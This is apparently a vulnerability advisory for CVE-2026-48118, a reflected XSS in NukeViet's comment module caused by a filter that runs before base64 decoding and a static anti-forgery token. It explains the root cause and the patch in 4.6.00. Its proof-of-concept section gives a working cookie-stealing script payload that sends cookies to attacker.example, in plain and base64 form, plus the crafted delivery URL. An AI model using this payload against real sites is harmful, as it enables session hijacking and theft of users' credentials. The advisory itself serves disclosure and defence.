high · 8.2CVE-2026-48118Jul 13, 2026

CVE-2026-48118: NukeViet Unauthenticated Reflected XSS via Base64-Encoded Comment Status Parameter

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any visitor can inject arbitrary JavaScript into a NukeViet page by passing a base64-encoded XSS payload in a URL parameter, because the anti-forgery token guarding the comment module is static and re

Packagenukeviet/nukeviet
Ecosystemcomposer
Affected< 4.5.09
Fixed in4.6.00

The problem

NukeViet's comment module accepts a `status_comment` GET parameter, sanitises it with `strip_tags()` before decoding, then renders the decoded value raw into the page template via the `STATUS_COMMENT` variable. Because the filter runs on the base64-encoded form, it is entirely ineffective: any HTML or JavaScript survives encoding and executes after decode.

The second flaw makes remote delivery trivial. The `checkss` anti-forgery token that gates the comment-load endpoint is computed as `md5(module + area + id + allowed + NV_CACHE_PREFIX)`. `NV_CACHE_PREFIX` is a site-wide static constant, so the token is identical for every visitor viewing the same resource and is printed in plain HTML as a `data-checkss` attribute.

An attacker reads it from the page source and reuses it in a crafted URL targeting any other user, requiring zero authentication.

Proof of concept

A working proof-of-concept for CVE-2026-48118 in nukeviet/nukeviet, with the exact payload below.

bash
# Step 1: base64-encode your XSS payload
# <script>document.location='https://attacker.example/c?c='+document.cookie</script>
# => PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbj0naHR0cHM6Ly9hdHRhY2tlci5leGFtcGxlL2M/Yz0nK2RvY3VtZW50LmNvb2tpZTwvc2NyaXB0Pg==

# Step 2: read checkss from any public article with comments enabled
# (look for data-checkss="..." in the page HTML)

# Step 3: deliver the crafted URL to the victim
https://target.example/index.php?language=vi&nv=comment&comment_load=1
  &module=news&area=<area>&id=<id>&allowed=<allowed>
  &checkss=<value_from_step_2>
  &status_comment=PHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbj0naHR0cHM6Ly9hdHRhY2tlci5leGFtcGxlL2M_Yz0nK2RvY3VtZW50LmNvb2tpZTwvc2NyaXB0Pg==

The root cause is filter-before-decode ordering. `modules/comment/funcs/main.php` calls `get_title()` (which wraps `strip_tags()`) on the raw base64 string. Base64 contains only alphanumeric characters and a few symbols, so `strip_tags()` passes it unchanged. `modules/comment/comment.php` then calls `nv_base64_decode()` and assigns the result to the template variable `STATUS_COMMENT` with no escaping.

The theme template renders it raw inside a `<div>`, giving the attacker a direct write-to-DOM sink.

The patch in 4.6.00 applies two independent fixes. Fix 1 replaces `NV_CACHE_PREFIX` with `NV_CHECK_SESSION` (which is `md5(NV_CACHE_PREFIX + session_id)`) everywhere the comment `checkss` is generated or validated, binding the token to the current session and removing the delivery mechanism.

Fix 2 wraps the decoded output in `nv_htmlspecialchars()` before template assignment, closing the XSS sink as defence-in-depth. CWE-79 (reflected XSS) is the primary weakness; the static token is a contributing CWE-565 issue.

The fix

Upgrade to NukeViet 4.6.00. The release replaces the session-independent `checkss` token with one derived from `NV_CHECK_SESSION` across the comment module and all caller modules (news, page, shops, etc.), and adds `nv_htmlspecialchars()` escaping to the decoded `status_comment` value before it reaches the template.

Both changes are required together for full remediation.

Reporter not attributed.

References: [1][2]

Related research